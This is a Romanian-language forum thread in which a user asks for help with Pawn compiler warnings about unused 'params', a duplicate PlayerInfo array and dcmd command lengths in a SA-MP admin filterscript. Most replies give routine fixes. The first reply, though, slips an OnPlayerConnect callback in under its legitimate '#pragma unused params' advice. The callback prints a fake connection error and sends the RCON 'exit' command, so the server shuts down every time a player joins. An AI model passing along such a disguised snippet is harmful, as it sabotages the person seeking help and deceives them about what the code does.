Jump to content
  • 0

Cerere Ajutor params


xt3z0ne

Question

Nick:Johnny

Problema:Pai am warnings cu params si nu stiu ce sai mai fac:|

Erori / warnings:[pawn]D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1672) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1713) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1720) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1727) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1734) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1741) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1748) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1755) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1762) : warning 203: symbol is never used: "params"

D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1769) : warning 203: symbol is never used: "params"

Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase

10 Warnings.[/pawn]

Lini/script:[pawn]

dcmd_sss1(playerid,params[])

{

SetPlayerPos(playerid,1705.5045, 1452.9928, 9.8187);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss2(playerid,params[])

{

SetPlayerPos(playerid,1839.3021, 1562.0797, 10.0390);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss3(playerid,params[])

{

SetPlayerPos(playerid,2168.1328, 1213.5763, 10.9927);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss4(playerid,params[])

{

SetPlayerPos(playerid,2416.8218, 1358.4696, 20.4118);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss5(playerid,params[])

{

SetPlayerPos(playerid,2826.7634, 1468.8693, 10.8887);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss7(playerid,params[])

{

SetPlayerPos(playerid,-2008.0447, 729.4238, 44.7940);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss6(playerid,params[])

{

SetPlayerPos(playerid,1920.0028, 2009.4620, 10.5883);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_leavestunt(playerid,params[])

{

DisablePlayerCheckpoint(playerid);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss(playerid,params[])

{

SendClientMessage(playerid,COLOR_RED,"Usage:sss<1-7>");

return 1;

}

[/pawn]

Ai incercat sa rezolvi singur ?:Help:(((((

Sunt un retardat

Link to comment
Share on other sites

10 answers to this question

Recommended Posts

symbol is never used: "params"
Pune
#pragma unused params
Adica , Ex :
dcmd_sss1(playerid,params[])
{
#pragma unused params
SetPlayerPos(playerid,1705.5045, 1452.9928, 9.8187);
return 1;
}

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Link to comment
Share on other sites

symbol is never used: "params"
Pune
#pragma unused params
Adica , Ex :
dcmd_sss1(playerid,params[])
{
#pragma unused params
SetPlayerPos(playerid,1705.5045, 1452.9928, 9.8187);
return 1;
}
EDIT: Nu merg comenzile :| Ce naiba:| Si imi da erorile astea:-?
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(190) : error 021: symbol already defined: "PlayerInfo"
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(648) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(651) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(824) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1644) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1651) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1652) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1653) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1654) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1668) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1669) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(1868) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8721) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8728) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8735) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8742) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8749) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8756) : warning 213: tag mismatch
D:\Games\DDSIDM~1\FILTER~1\LuxAdmin.pwn(8763) : warning 213: tag mismatch
Pawn compiler 3.2.3664	 	 	Copyright (c) 1997-2006, ITB CompuPhase


1 Error.

Ofi din cauza ca am 2 de PlayerInfo?

Am asa

[pawn]

new PlayerInfo[MAX_PLAYERS][PLAYER_STUNT];

new PlayerInfo[MAX_PLAYERS][PLAYER_COINS];

[/pawn]

Sunt un retardat

Link to comment
Share on other sites

Poate in acel script nu ai folosit nici un parametru

[pawn]dcmd_sss1(playerid)

{

SetPlayerPos(playerid,1705.5045, 1452.9928, 9.8187);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss2(playerid)

{

SetPlayerPos(playerid,1839.3021, 1562.0797, 10.0390);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss3(playerid)

{

SetPlayerPos(playerid,2168.1328, 1213.5763, 10.9927);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss4(playerid)

{

SetPlayerPos(playerid,2416.8218, 1358.4696, 20.4118);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss5(playerid)

{

SetPlayerPos(playerid,2826.7634, 1468.8693, 10.8887);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss7(playerid)

{

SetPlayerPos(playerid,-2008.0447, 729.4238, 44.7940);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss6(playerid)

{

SetPlayerPos(playerid,1920.0028, 2009.4620, 10.5883);

return 1;

}[/pawn]

Dar nu cred ca ar trebuie sa iti dea warnings.

8ffTNVU.png

Link to comment
Share on other sites

Poate in acel script nu ai folosit nici un parametru

[pawn]dcmd_sss1(playerid)

{

SetPlayerPos(playerid,1705.5045, 1452.9928, 9.8187);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss2(playerid)

{

SetPlayerPos(playerid,1839.3021, 1562.0797, 10.0390);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss3(playerid)

{

SetPlayerPos(playerid,2168.1328, 1213.5763, 10.9927);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss4(playerid)

{

SetPlayerPos(playerid,2416.8218, 1358.4696, 20.4118);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss5(playerid)

{

SetPlayerPos(playerid,2826.7634, 1468.8693, 10.8887);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss7(playerid)

{

SetPlayerPos(playerid,-2008.0447, 729.4238, 44.7940);

return 1;

}

//------------------------------------------------------------------------------//

//------------------------------------------------------------------------------//

dcmd_sss6(playerid)

{

SetPlayerPos(playerid,1920.0028, 2009.4620, 10.5883);

return 1;

}[/pawn]

Dar nu cred ca ar trebuie sa iti dea warnings.

Nici nu merge

din cate ai vazut am si spus imi da ceva cu playerinfo

Adica astea

new PlayerInfo[MAX_PLAYERS][PLAYER_STUNT];
new PlayerInfo[MAX_PLAYERS][PLAYER_COINS]; 

Sunt un retardat

Link to comment
Share on other sites

Nu pune new PlayerInfo etc., il ai deja definit! pune fara new

am pus new pInfo[bla][bla]

Si edit.

Nu imi merge 3 comenzi alea find /sss /startstunt /leavestunt

    dcmd(sss,  5, cmdtext);
    dcmd(sss1, 4, cmdtext);
    dcmd(sss2, 4, cmdtext);
    dcmd(sss3, 4, cmdtext);
    dcmd(sss4, 4, cmdtext);
    dcmd(sss5, 4, cmdtext);
    dcmd(sss6, 4, cmdtext);
    dcmd(sss7, 4, cmdtext);
    dcmd(leavestunt, 5, cmdtext);
    dcmd(startstunt, 5, cmdtext);

cred cai de aici :-?

Sunt un retardat

Link to comment
Share on other sites

Nu ai inteles!

Cand vrei sa il folosesti nu mai pui new PlayerInfo. Pui doar PlayerInfo.

dCMD e vechi ... Numerele alea dupa numele comenzii sunt numarul de caractere pe care il are comanda, exemplu:

[pawn]dcmd(leavestunt, 10, cmdtext);[/pawn]

Link to comment
Share on other sites

Nu ai inteles!

Cand vrei sa il folosesti nu mai pui new PlayerInfo. Pui doar PlayerInfo.

dCMD e vechi ... Numerele alea dupa numele comenzii sunt numarul de caractere pe care il are comanda, exemplu:

[pawn]dcmd(leavestunt, 10, cmdtext);[/pawn]

Ok.

Am sa imi fac timp poate il trec pe zcmd.

Sunt un retardat

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.